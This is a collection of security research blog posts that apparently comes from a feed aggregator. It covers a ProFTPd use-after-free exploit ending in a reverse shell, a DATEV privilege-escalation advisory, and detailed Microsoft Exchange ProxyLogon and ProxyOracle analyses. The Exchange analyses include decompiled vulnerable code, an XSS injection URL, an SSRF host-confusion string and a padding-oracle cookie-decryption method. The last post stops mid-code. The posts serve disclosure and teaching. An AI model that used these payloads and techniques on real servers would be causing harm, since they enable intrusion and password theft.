The result if we continue, is the execution of a new process as part of the command execution: process 35209 is executing new program: /usr/bin/ncat

And finally obtaining a reverse shell as the user you logged in with into the FTP server.

Demo

RCE Video Demo also available on GitHub (same directory where the exploit resides)

Patch

You can find the GitHub issue and patches for this vulnerability here.

Conclusion

On this post we analyzed and demonstrated exploitation for a Use-After-Free in ProFTPd, and could get full Remote Code Execution even with all the protections turned on (ASLR, PIE, NX, RELRO, STACKGUARD etc)

Perhaps authentication is needed, this is sometimes a situation an attacker has, but can not go forward without a RCE exploit like this.

You can find the ROP approach exploit here.

You can find the other exploit using system() and netcat here.

EoF

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Schwachstelle in Datev

15 August 2021 at 21:27
CVE CVE-2021-41428 Verwundbare Software Sowohl der Update-Manager bis Version 5.8.0.2300, als auch DFL bis zur Version 12.5.1001.5 sind von dieser Schwachstelle betroffen. Schwachstelle Eine unzureichende Konfiguration des Dienstes erlaubt eine Erweiterung der Rechte auf System-Ebene. Zeitlinie 22.06.2021 Hersteller informiert 24.06.2021 Terminvereinbarung für Rückfragen 05.07.2021 Rückfragen und weiteres Vorgehen 01.08.2021 Update 16.08.2021 Veröffentlichung Referenzen DATEV Help […]

ProxyLogon 僅僅只是冰山一角,一個針對 Microsoft Exchange Server 的全新攻擊面!

6 August 2021 at 16:00

Microsoft Exchange Server 作為當今世界上最常見的郵件解決方案,已經幾乎是企業以及政府每日工作與維繫安全不可或缺的一部分!在今年一月,我們回報了一系列的 Exchange Server 漏洞給 Microsoft,並且將這個漏洞它命名為 ProxyLogon,相信如果您有在關注業界新聞,一定也聽過這個名字!ProxyLogon 也許是 Exchange 歷史上最嚴重、影響力也最大的一個漏洞!

隨著更深入的從架構層去研究 ProxyLogon,我們發現它不僅僅只是一個漏洞,而是一整個新的、沒有人提過的攻擊面可讓駭客或安全研究員去挖掘更多的漏洞。因此我們專注深入研究這個攻擊面,並從中發現了至少八個漏洞,這些漏洞涵蓋了伺服器端、客戶端,甚至密碼學漏洞,我們並將這些漏洞組合成了三個攻擊鏈:

  1. ProxyLogon: 最知名、影響力也最大的 Exchange 攻擊鏈
  2. ProxyOracle: 一個可以還原任意 Exchange 使用者明文密碼的攻擊鏈
  3. ProxyShell: 我們在 Pwn2Own 2021 上展示打掉 Exchange 的攻擊鏈

所有我們找到的漏洞都是邏輯漏洞,這代表相較於記憶體毀損類型的漏洞,這些漏洞更容易被重現以及利用,我們也將成果發表至 Black Hat USADEFCON 上,也同時獲得了 2021 Pwnie Awards 年度 Best Server-Side Bug 獎項,如果你有興趣的話可以從這邊下載會議的投影片!

  • ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [投影片] [影片]

本次提及的漏洞皆經過負責任的漏洞接露程序回報給微軟、並獲得修復,您可以從下面這張圖查看詳細的漏洞編號及回報時間表。

Report Time Name CVE Patch Time CAS[1] Reported By
Jan 05, 2021 ProxyLogon CVE-2021-26855 Mar 02, 2021 Yes Orange Tsai, Volexity and MSTIC
Jan 05, 2021 ProxyLogon CVE-2021-27065 Mar 02, 2021 - Orange Tsai, Volexity and MSTIC
Jan 17, 2021 ProxyOracle CVE-2021-31196 Jul 13, 2021 Yes Orange Tsai
Jan 17, 2021 ProxyOracle CVE-2021-31195 May 11, 2021 - Orange Tsai
Apr 02, 2021 ProxyShell[2] CVE-2021-34473 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-34523 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-31207 May 11, 2021 - Orange Tsai working with ZDI
Jun 02, 2021 - - - Yes Orange Tsai
Jun 02, 2021 - CVE-2021-33768 Jul 13, 2021 - Orange Tsai and Dlive

[1] Bugs relate to this new attack surface direclty
[2] Pwn2Own 2021 bugs

更詳盡的技術細節我們已陸續公布,後續連結會持續更新於本文,敬請期待:

A New Attack Surface on MS Exchange Part 2 - ProxyOracle!

5 August 2021 at 16:00

Hi, this is the part 2 of the New MS Exchange Attack Surface. Because this article refers to several architecture introductions and attack surface concepts in the previous article, you could find the first piece here:

This time, we will be introducing ProxyOracle. Compared with ProxyLogon, ProxyOracle is an interesting exploit with a different approach. By simply leading a user to visit a malicious link, ProxyOracle allows an attacker to recover the user’s password in plaintext format completely. ProxyOracle consists of two vulnerabilities:

Where is ProxyOracle

So where is ProxyOracle? Based on the CAS architecture we introduced before, the Frontend of CAS will first serialize the User Identity to a string and put it in the header of X-CommonAccessToken. The header will be merged into the client’s HTTP request and sent to the Backend later. Once the Backend receives, it deserializes the header back to the original User Identity in Frontend.

We now know how the Frontend and Backend synchronize the User Identity. The next is to explain how the Frontend knows who you are and processes your credentials. The Outlook Web Access (OWA) uses a fancy interface to handle the whole login mechanism, which is called Form-Based Authentication (FBA). The FBA is a special IIS module that inherits the ProxyModule and is responsible for executing the transformation between the credentials and cookies before entering the proxy logic.

The FBA Mechanism

HTTP is a stateless protocol. To keep your login state, FBA saves the username and password in cookies. Every time you visit the OWA, Exchange will parse the cookies, retrieve the credential and try to log in with that. If the login succeed, Exchange will serialize your User Identity into a string, put it into the header of X-CommonAccessToken, and forward it to the Backend

HttpProxy\FbaModule.cs

protected override void OnBeginRequestInternal(HttpApplication httpApplication) {

    httpApplication.Context.Items["AuthType"] = "FBA";
    if (!this.HandleFbaAuthFormPost(httpApplication)) {
        try {
            this.ParseCadataCookies(httpApplication);
        } catch (MissingSslCertificateException) {
            NameValueCollection nameValueCollection = new NameValueCollection();
            nameValueCollection.Add("CafeError", ErrorFE.FEErrorCodes.SSLCertificateProblem.ToString());
            throw new HttpException(302, AspNetHelper.GetCafeErrorPageRedirectUrl(httpApplication.Context, nameValueCollection));
        }
    }
    base.OnBeginRequestInternal(httpApplication);
}

All the cookies are encrypted to ensure even if an attacker can hijack the HTTP request, he/she still couldn’t get your credential in plaintext format. FBA leverages 5 special cookies to accomplish the whole de/encryption process:

  • cadata - The encrypted username and password
  • cadataTTL - The Time-To-Live timestamp
  • cadataKey - The KEY for encryption
  • cadataIV - The IV for encryption
  • cadataSig - The signature to prevent tampering

The encryption logic will first generate two 16 bytes random strings as the IV and KEY for the current session. The username and password will then be encoded with Base64, encrypted by the algorithm AES and sent back to the client within cookies. Meanwhile, the IV and KEY will be sent to the user, too. To prevent the client from decrypting the credential by the known IV and KEY directly, Exchange will once again use the algorithm RSA to encrypt the IV and KEY via its SSL certificate private key before sending out!

Here is a Pseudo Code for the encryption logic:

 @key = GetServerSSLCert().GetPrivateKey()
 cadataSig = RSA(@key).Encrypt("Fba Rocks!")
 cadataIV  = RSA(@key).Encrypt(GetRandomBytes(16))
 cadataKey = RSA(@key).Encrypt(GetRandomBytes(16))

 @timestamp = GetCurrentTimestamp()
 cadataTTL  = AES_CBC(cadataKey, cadataIV).Encrypt(@timestamp)

 @blob  = "Basic " + ToBase64String(UserName + ":" + Password)
 cadata = AES_CBC(cadataKey, cadataIV).Encrypt(@blob)

The Exchange takes CBC as its padding mode. If you are familiar with Cryptography, you might be wondering whether the CBC mode here is vulnerable to the Padding Oracle Attack? Bingo! As a matter of fact, Padding Oracle Attack is still existing in such essential software like Exchange in 2021!

CVE-2021-31196 - The Padding Oracle

When there is something wrong with the FBA, Exchange attaches an error code and redirects the HTTP request back to the original login page. So where is the Oracle? In the cookie decryption, Exchange uses an exception to catch the Padding Error, and because of the exception, the program returned immediately so that error code number is 0, which means None:

Location: /OWA/logon.aspx?url=…&reason=0

In contrast with the Padding Error, if the decryption is good, Exchange will continue the authentication process and try to login with the corrupted username and password. At this moment, the result must be a failure and the error code number is 2, which represents InvalidCredntials:

Location: /OWA/logon.aspx?url=…&reason=2

The diagram looks like:

With the difference, we now have an Oracle to identify whether the decryption process is successful or not.

HttpProxy\FbaModule.cs

private void ParseCadataCookies(HttpApplication httpApplication)
{
    HttpContext context = httpApplication.Context;
    HttpRequest request = context.Request;
    HttpResponse response = context.Response;
    
    string text = request.Cookies["cadata"].Value;    
    string text2 = request.Cookies["cadataKey"].Value;    
    string text3 = request.Cookies["cadataIV"].Value;    
    string text4 = request.Cookies["cadataSig"].Value;    
    string text5 = request.Cookies["cadataTTL"].Value;
    
    // ...
    RSACryptoServiceProvider rsacryptoServiceProvider = (x509Certificate.PrivateKey as RSACryptoServiceProvider);
    
    byte[] array = null;
    byte[] array2 = null;
    byte[] rgb2 = Convert.FromBase64String(text2);
    byte[] rgb3 = Convert.FromBase64String(text3);
    array = rsacryptoServiceProvider.Decrypt(rgb2, true);
    array2 = rsacryptoServiceProvider.Decrypt(rgb3, true);
    
    // ...
    
    using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider()) {
        aesCryptoServiceProvider.Key = array;
        aesCryptoServiceProvider.IV = array2;
        
        using (ICryptoTransform cryptoTransform2 = aesCryptoServiceProvider.CreateDecryptor()) {
            byte[] bytes2 = null;
            try {
                byte[] array5 = Convert.FromBase64String(text);
                bytes2 = cryptoTransform2.TransformFinalBlock(array5, 0, array5.Length);
            } catch (CryptographicException ex8) {
                if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
                    ExTraceGlobals.VerboseTracer.TraceDebug<CryptographicException>((long)this.GetHashCode(), "[FbaModule::ParseCadataCookies] Received CryptographicException {0} transforming auth", ex8);
                }
                httpApplication.Response.AppendToLog("&CryptoError=PossibleSSLCertrolloverMismatch");
                return;
            } catch (FormatException ex9) {
                if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
                    ExTraceGlobals.VerboseTracer.TraceDebug<FormatException>((long)this.GetHashCode(), "[FbaModule::ParseCadataCookies] Received FormatException {0} decoding caData auth", ex9);
                }
                httpApplication.Response.AppendToLog("&DecodeError=InvalidCaDataAuthCookie");
                return;
            }
            string @string = Encoding.Unicode.GetString(bytes2);
            request.Headers["Authorization"] = @string;
        }
    }
}

It should be noted that since the IV is encrypted with the SSL certificate private key, we can’t recover the first block of the ciphertext through XOR. But it wouldn’t cause any problem for us because the C# internally processes the strings as UTF-16, so the first 12 bytes of the ciphertext must be B\x00a\x00s\x00i\x00c\x00 \x00. With one more Base64 encoding applied, we will only lose the first 1.5 bytes in the username field.

(16−6×2) ÷ 2 × (3/4) = 1.5

The Exploit

As of now, we have a Padding Oracle that allows us to decrypt any user’s cookie. BUT, how can we get the client cookies? Here we find another vulnerability to chain them together.

XSS to Steal Client Cookies

We discover an XSS (CVE-2021-31195) in the CAS Frontend (Yeah, CAS again) to chain together, the root cause of this XSS is relatively easy: Exchange forgets to sanitize the data before printing it out so that we can use the \ to escape from the JSON format and inject arbitrary JavaScript code.

https://exchange/owa/auth/frowny.aspx
?app=people
&et=ServerError
&esrc=MasterPage
&te=\
&refurl=}}};alert(document.domain)//

But here comes another question: all the sensitive cookies are protected by the HttpOnly flag, which makes us unable to access the cookies by JavaScript. WHAT SHOULD WE DO?

Bypass the HttpOnly

As we could execute arbitrary JavaScript on browsers, why don’t we just insert the SSRF cookie we used in ProxyLogon? Once we add this cookie and assign the Backend target value as our malicious server, Exchange will become a proxy between the victims and us. We can then take over all the client’s HTTP static resources and get the protected HttpOnly cookies!

By chaining bugs together, we have an elegant exploit that can steal any user’s cookies by just sending him/her a malicious link. What’s noteworthy is that the XSS here is only helping us to steal the cookie, which means all the decryption processes wouldn’t require any authentication and user interaction. Even if the user closes the browser, it wouldn’t affect our Padding Oracle Attack!

Here is the demonstration video showing how we recover the victim’s password:

A New Attack Surface on MS Exchange Part 1 - ProxyLogon!

5 August 2021 at 16:00

The series of A New Attack Surface on MS Exchange:

Microsoft Exchange, as one of the most common email solutions in the world, has become part of the daily operation and security connection for governments and enterprises. This January, we reported a series of vulnerabilities of Exchange Server to Microsoft and named it as ProxyLogon. ProxyLogon might be the most severe and impactful vulnerability in the Exchange history ever. If you were paying attention to the industry news, you must have heard it.

While looking into ProxyLogon from the architectural level, we found it is not just a vulnerability, but an attack surface that is totally new and no one has ever mentioned before. This attack surface could lead the hackers or security researchers to more vulnerabilities. Therefore, we decided to focus on this attack surface and eventually found at least 8 vulnerabilities. These vulnerabilities cover from server side, client side, and even crypto bugs. We chained these vulnerabilities into 3 attacks:

  1. ProxyLogon: The most well-known and impactful Exchange exploit chain
  2. ProxyOracle: The attack which could recover any password in plaintext format of Exchange users
  3. ProxyShell: The exploit chain we demonstrated at Pwn2Own 2021 to take over Exchange and earn $200,000 bounty

I would like to highlight that all vulnerabilities we unveiled here are logic bugs, which means they could be reproduced and exploited more easily than any memory corruption bugs. We have presented our research at Black Hat USA and DEFCON, and won the Best Server-Side bug of Pwnie Awards 2021. You can check our presentation materials here:

  • ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [Slides] [Video]

By understanding the basics of this new attack surface, you won’t be surprised why we can pop out 0days easily!

Intro

I would like to state that all the vulnerabilities mentioned have been reported via the responsible vulnerability disclosure process and patched by Microsoft. You could find more detail of the CVEs and the report timeline from the following table.

Report Time Name CVE Patch Time CAS[1] Reported By
Jan 05, 2021 ProxyLogon CVE-2021-26855 Mar 02, 2021 Yes Orange Tsai, Volexity and MSTIC
Jan 05, 2021 ProxyLogon CVE-2021-27065 Mar 02, 2021 - Orange Tsai, Volexity and MSTIC
Jan 17, 2021 ProxyOracle CVE-2021-31196 Jul 13, 2021 Yes Orange Tsai
Jan 17, 2021 ProxyOracle CVE-2021-31195 May 11, 2021 - Orange Tsai
Apr 02, 2021 ProxyShell[2] CVE-2021-34473 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-34523 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-31207 May 11, 2021 - Orange Tsai working with ZDI
Jun 02, 2021 - - - Yes Orange Tsai
Jun 02, 2021 - CVE-2021-33768 Jul 13, 2021 - Orange Tsai and Dlive

[1] Bugs relate to this new attack surface direclty
[2] Pwn2Own 2021 bugs

Why did Exchange Server become a hot topic? From my point of view, the whole ProxyLogon attack surface is actually located at an early stage of Exchange request processing. For instance, if the entrance of Exchange is 0, and 100 is the core business logic, ProxyLogon is somewhere around 10. Again, since the vulnerability is located at the beginning place, I believe anyone who has reviewed the security of Exchange carefully would spot the attack surface. This was also why I tweeted my worry about bug collision after reporting to Microsoft. The vulnerability was so impactful, yet it’s a simple one and located at such an early stage.

You all know what happened next, Volexity found that an APT group was leveraging the same SSRF (CVE-2021-26855) to access users’ emails in early January 2021 and reported to Microsoft. Microsoft also released the urgent patches in March. From the public information released afterwards, we found that even though they used the same SSRF, the APT group was exploiting it in a very different way from us. We completed the ProxyLogon attack chain through CVE-2021-27065, while the APT group used EWS and two unknown vulnerabilities in their attack. This has convinced us that there is a bug collision on the SSRF vulnerability.

Image from Microsoft Blog

Regarding the ProxyLogon PoC we reported to MSRC appeared in the wild in late February, we were as curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation. With a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft. Maybe you would be interested in learning some interesting stories from here.

Why targeting on Exchange Server?

Mail server is a highly valuable asset that holds the most confidential secrets and corporate data. In other words, controlling a mail server means controlling the lifeline of a company. As the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.

Normally, I will review the existing papers and bugs before starting a research. Among the whole Exchange history, is there any interesting case? Of course. Although most vulnerabilities are based on known attack vectors, such as the deserialization or bad input validation, there are still several bugs that are worth mentioning.

The most special

The most special one is the arsenal from Equation Group in 2017. It’s the only practical and public pre-auth RCE in the Exchange history. Unfortunately, the arsenal only works on an ancient Exchange Server 2003. If the arsenal leak happened earlier, it could end up with another nuclear-level crisis.

The most interesting

The most interesting one is CVE-2018-8581 disclosed by someone who cooperated with ZDI. Though it was simply an SSRF, with the feature, it could be combined with NTLM Relay, the attacker could turn a boring SSRF into something really fancy. For instance, it could directly control the whole Domain Controller through a low privilege account.

The most surprising

The most surprising one is CVE-2020-0688, which was also disclosed by someone working with ZDI. The root cause of this bug is due to a hard-coded cryptographic key in Microsoft Exchange. With this hard-coded key, an attacker with low privilege can take over the whole Exchange Server. And as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.

Where is the new attack surface

Exchange is a very sophisticated application. Since 2000, Exchange has released a new version every 3 years. Whenever Exchange releases a new version, the architecture changes a lot and becomes different. The changes of architecture and iterations make it difficult to upgrade an Exchange Server. In order to ensure the compatibility between the new architecture and old ones, several design debts were incurred to Exchange Server and led to the new attack surface we found.

Where did we focus at Microsoft Exchange? We focused on the Client Access Service, CAS. CAS is a fundamental component of Exchange. Back to the version 2000/2003, CAS was an independent Frontend Server in charge of all the Frontend web rendering logics. After several renaming, integrating, and version differences, CAS has been downgraded to a service under the Mailbox Role. The official documentation from Microsoft indicates that:

Mailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server

From the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared.

The CAS architecture

CAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it’s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding Backend Service. As a Web Security researcher, I focused on the Web implementation of CAS.

The CAS web is built on Microsoft IIS. As you can see, there are two websites inside the IIS. The “Default Website” is the Frontend we mentioned before, and the “Exchange Backend” is where the business logic is. After looking into the configuration carefully, we notice that the Frontend is binding with ports 80 and 443, and the Backend is listening on ports 81 and 444. All the ports are binding with 0.0.0.0, which means anyone could access the Frontend and Backend of Exchange directly. Wouldn’t it be dangerous? Please keep this question in mind and we will answer that later.

Exchange implements the logic of Frontend and Backend via IIS module. There are several modules in Frontend and Backend to complete different tasks, such as the filter, validation, and logging. The Frontend must contain a Proxy Module. The Proxy Module picks up the HTTP request from the client side and adds some internal settings, then forwards the request to the Backend. As for the Backend, all the applications include the Rehydration Module, which is in charge of parsing Frontend requests, populating the client information back, and continuing to process the business logic. Later we will be elaborating how Proxy Module and Rehydration Module work.

Frontend Proxy Module

Proxy Module chooses a handler based on the current ApplicationPath to process the HTTP request from the client side. For instance, visiting /EWS will use EwsProxyRequestHandler, as for /OWA will trigger OwaProxyRequestHandler. All the handlers in Exchange inherit the class from ProxyRequestHandler and implement its core logic, such as how to deal with the HTTP request from the user, which URL from Backend to proxy to, and how to synchronize the information with the Backend. The class is also the most centric part of the whole Proxy Module, we will separate ProxyRequestHandler into 3 sections:

Frontend Reqeust Section

The Request section will parse the HTTP request from the client and determine which cookie and header could be proxied to the Backend. Frontend and Backend relied on HTTP Headers to synchronize information and proxy internal status. Therefore, Exchange has defined a blacklist to avoid some internal Headers being misused.

HttpProxy\ProxyRequestHandler.cs

protected virtual bool ShouldCopyHeaderToServerRequest(string headerName) {
  return !string.Equals(headerName, "X-CommonAccessToken", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-IsFromCafe", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-SourceCafeServer", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "msExchProxyUri", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-MSExchangeActivityCtx", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "return-client-request-id", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-Forwarded-For", OrdinalIgnoreCase) 
      && (!headerName.StartsWith("X-Backend-Diag-", OrdinalIgnoreCase) 
      || this.ClientRequest.GetHttpRequestBase().IsProbeRequest());
}

In the last stage of Request, Proxy Module will call the method AddProtocolSpecificHeadersToServerRequest implemented by the handler to add the information to be communicated with the Backend in the HTTP header. This section will also serialize the information from the current login user and put it in a new HTTP header X-CommonAccessToken, which will be forwarded to the Backend later.

For instance, If I log into Outlook Web Access (OWA) with the name Orange, the X-CommonAccessToken that Frontend proxy to Backend will be:

Frontend Proxy Section

The Proxy Section first uses the GetTargetBackendServerURL method to calculate which Backend URL should the HTTP request be forwarded to. Then initialize a new HTTP Client request with the method CreateServerRequest.

HttpProxy\ProxyRequestHandler.cs

protected HttpWebRequest CreateServerRequest(Uri targetUrl) {
    HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(targetUrl);
    if (!HttpProxySettings.UseDefaultWebProxy.Value) {
        httpWebRequest.Proxy = NullWebProxy.Instance;
    }
    httpWebRequest.ServicePoint.ConnectionLimit = HttpProxySettings.ServicePointConnectionLimit.Value;
    httpWebRequest.Method = this.ClientRequest.HttpMethod;
    httpWebRequest.Headers["X-FE-ClientIP"] = ClientEndpointResolver.GetClientIP(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-Forwarded-For"] = ClientEndpointResolver.GetClientProxyChainIPs(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-Forwarded-Port"] = ClientEndpointResolver.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-MS-EdgeIP"] = Utilities.GetEdgeServerIpAsProxyHeader(SharedHttpContextWrapper.GetWrapper(this.HttpContext).Request);
    
    // ...
    
    return httpWebRequest;
}

Exchange will also generate a Kerberos ticket via the HTTP Service-Class of the Backend and put it in the Authorization header. This header is designed to prevent anonymous users from accessing the Backend directly. With the Kerberos Ticket, the Backend could validate the access from the Frontend.

HttpProxy\ProxyRequestHandler.cs

if (this.ProxyKerberosAuthentication) {
    serverRequest.ConnectionGroupName = this.ClientRequest.UserHostAddress + ":" + GccUtils.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
} else if (this.AuthBehavior.AuthState == AuthState.BackEndFullAuth || this.
    ShouldBackendRequestBeAnonymous() || (HttpProxySettings.TestBackEndSupportEnabled.Value  
    && !string.IsNullOrEmpty(this.ClientRequest.Headers["TestBackEndUrl"]))) {
    serverRequest.ConnectionGroupName = "Unauthenticated";
} else {
    serverRequest.Headers["Authorization"] = KerberosUtilities.GenerateKerberosAuthHeader(
        serverRequest.Address.Host, this.TraceContext, 
        ref this.authenticationContext, ref this.kerberosChallenge);
}

HttpProxy\KerberosUtilities.cs

internal static string GenerateKerberosAuthHeader(string host, int traceContext, ref AuthenticationContext authenticationContext, ref string kerberosChallenge) {
    byte[] array = null;
    byte[] bytes = null;
    // ...
    authenticationContext = new AuthenticationContext();
    string text = "HTTP/" + host;
    authenticationContext.InitializeForOutboundNegotiate(AuthenticationMechanism.Kerberos, text, null, null);
    SecurityStatus securityStatus = authenticationContext.NegotiateSecurityContext(inputBuffer, out bytes);
    // ...
    string @string = Encoding.ASCII.GetString(bytes);
    return "Negotiate " + @string;
}

Therefore, a Client request proxied to the Backend will be added with several HTTP Headers for internal use. The two most essential Headers are X-CommonAccessToken, which indicates the mail users’ log in identity, and Kerberos Ticket, which represents legal access from the Frontend.

Frontend Response Section

The last is the section of Response. It receives the response from the Backend and decides which headers or cookies are allowed to be sent back to the Frontend.

Backend Rehydration Module

Now let’s move on and check how the Backend processes the request from the Frontend. The Backend first uses the method IsAuthenticated to check whether the incoming request is authenticated. Then the Backend will verify whether the request is equipped with an extended right called ms-Exch-EPI-Token-Serialization. With the default setting, only Exchange Machine Account would have such authorization. This is also why the Kerberos Ticket generated by the Frontend could pass the checkpoint but you can’t access the Backend directly with a low authorized account.

After passing the check, Exchange will restore the login identity used in the Frontend, through deserializing the header X-CommonAccessToken back to the original Access Token, and then put it in the httpContext object to progress to the business logic in the Backend.

Authentication\BackendRehydrationModule.cs

private void OnAuthenticateRequest(object source, EventArgs args) {
    if (httpContext.Request.IsAuthenticated) {
        this.ProcessRequest(httpContext);
    }
}

private void ProcessRequest(HttpContext httpContext) {
    CommonAccessToken token;
    if (this.TryGetCommonAccessToken(httpContext, out token)) {
        // ...
    }
}

private bool TryGetCommonAccessToken(HttpContext httpContext, out CommonAccessToken token) {
    string text = httpContext.Request.Headers["X-CommonAccessToken"];
    if (string.IsNullOrEmpty(text)) {
        return false;
    }
        
    bool flag;
    try {
        flag = this.IsTokenSerializationAllowed(httpContext.User.Identity as WindowsIdentity);
    } finally {
        httpContext.Items["BEValidateCATRightsLatency"] = stopwatch.ElapsedMilliseconds - elapsedMilliseconds;
    }

    token = CommonAccessToken.Deserialize(text);
    httpContext.Items["Item-CommonAccessToken"] = token;
    
    //...
}

private bool IsTokenSerializationAllowed(WindowsIdentity windowsIdentity) {
   flag2 = LocalServer.AllowsTokenSerializationBy(clientSecurityContext);
   return flag2;
}

private static bool AllowsTokenSerializationBy(ClientSecurityContext clientContext) {
    return LocalServer.HasExtendedRightOnServer(clientContext, 
        WellKnownGuid.TokenSerializationRightGuid);  // ms-Exch-EPI-Token-Serialization

}

The attack surface

After a brief introduction to the architecture of CAS, we now realize that CAS is just a well-written HTTP Proxy (or Client), and we know that implementing Proxy isn’t easy. So I was wondering:

Could I use a single HTTP request to access different contexts in Frontend and Backend respectively to cause some confusion?

If we could do that, maaaaaybe I could bypass some Frontend restrictions to access arbitrary Backends and abuse some internal API. Or, we can confuse the context to leverage the inconsistency of the definition of dangerous HTTP headers between the Frontend and Backend to do further interesting attacks.

With these thoughts in mind, let’s start hunting!

The ProxyLogon

The first exploit is the ProxyLogon. As introduced before, this may be the most severe vulnerability in the Exchange history ever. ProxyLogon is chained with 2 bugs:

CVE-2021-26855 - Pre-auth SSRF

There are more than 20 handlers corresponding to different application paths in the Frontend. While reviewing the implementations, we found the method GetTargetBackEndServerUrl, which is responsible for calculating the Backend URL in the static resource handler, assigns the Backend target by cookies directly.

Now you figure out how simple this vulnerability is after learning the architecture!

HttpProxy\ProxyRequestHandler.cs

protected virtual Uri GetTargetBackEndServerUrl() {
    this.LogElapsedTime("E_TargetBEUrl");
    Uri result;
    try {
        UrlAnchorMailbox urlAnchorMailbox = this.AnchoredRoutingTarget.AnchorMailbox as UrlAnchorMailbox;
        if (urlAnchorMailbox != null) {
            result = urlAnchorMailbox.Url;
        } else {
            UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
            clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
            clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
            clientUrlForProxy.Port = 444;
            if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion) {
                this.ProxyToDownLevel = true;
                RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
                clientUrlForProxy.Port = 443;
            }
            result = clientUrlForProxy.Uri;
        }
    }
    finally {
        this.LogElapsedTime("L_TargetBEUrl");
    }
    return result;
}

From the code snippet, you can see the property BackEndServer.Fqdn of AnchoredRoutingTarget is assigned from the cookie directly.

HttpProxy\OwaResourceProxyRequestHandler.cs

protected override AnchorMailbox ResolveAnchorMailbox() {
    HttpCookie httpCookie = base.ClientRequest.Cookies["X-AnonResource-Backend"];
    if (httpCookie != null) {
        this.savedBackendServer = httpCookie.Value;
    }
    if (!string.IsNullOrEmpty(this.savedBackendServer)) {
        base.Logger.Set(3, "X-AnonResource-Backend-Cookie");
        if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
            ExTraceGlobals.VerboseTracer.TraceDebug<HttpCookie, int>((long)this.GetHashCode(), "[OwaResourceProxyRequestHandler::ResolveAnchorMailbox]: AnonResourceBackend cookie used: {0}; context {1}.", httpCookie, base.TraceContext);
        }
        return new ServerInfoAnchorMailbox(BackEndServer.FromString(this.savedBackendServer), this);
    }
    return new AnonymousAnchorMailbox(this);
}

Though we can only control the Host part of the URL, but hang on, isn’t manipulating a URL Parser exactly what I am good at? Exchange builds the Backend URL by built-in UriBuilder. However, since C# didn’t verify the Host, so we can enclose the whole URL with some special characters to access arbitrary servers and ports.

https://[foo]@example.com:443/path#]:444/owa/auth/x.js

So far we have a super SSRF that can control almost all the HTTP requests and get all the replies. The most impressive thing is that the Frontend of Exchange will generate a Kerberos Ticket for us, which means even when we are attacking a protected and domain-joined HTTP service, we can still hack with the authentication of Exchange Machine Account.

So, what is the root cause of this arbitrary Backend assignment? As mentioned, the Exchange Server changes its architecture while releasing new versions. It might have different functions in different versions even with the same component under the same name. Microsoft has put great effort into ensuring the architectural capability between new and old versions. This cookie is a quick solution and the design debt of Exchange making the Frontend in the new architecture could identify where the old Backend is.

CVE-2021-27065 - Post-auth Arbitrary-File-Write

Thanks to the super SSRF allowing us to access the Backend without restriction. The next is to find a RCE bug to chain together. Here we leverage a Backend internal API /proxyLogon.ecp to become the admin. The API is also the reason why we called it ProxyLogon.

Because we leverage the Frontend handler of static resources to access the ECExchange Control Panel (ECP) Backend, the header msExchLogonMailbox, which is a special HTTP header in the ECP Backend, will not be blocked by the Frontend. By leveraging this minor inconsistency, we can specify ourselves as the SYSTEM user and generate a valid ECP session with the internal API.

With the inconsistency between the Frontend and Backend, we can access all the functions on ECP by Header forgery and internal Backend API abuse. Next, we have to find an RCE bug on the ECP interface to chain them together. The ECP wraps the Exchange PowerShell commands as an abstract interface by /ecp/DDI/DDIService.svc. The DDIService defines several PowerShell executing pipelines by XAML so that it can be accessed by Web. While verifying the DDI implementation, we found the tag of WriteFileActivity did not check the file path properly and led to an arbitrary-file-write.

DDIService\WriteFileActivity.cs

public override RunResult Run(DataRow input, DataTable dataTable, DataObjectStore store, Type codeBehind, Workflow.UpdateTableDelegate updateTableDelegate) {
    DataRow dataRow = dataTable.Rows[0];
    string value = (string)input[this.InputVariable];
    string path = (string)input[this.OutputFileNameVariable];
    RunResult runResult = new RunResult();
    try {
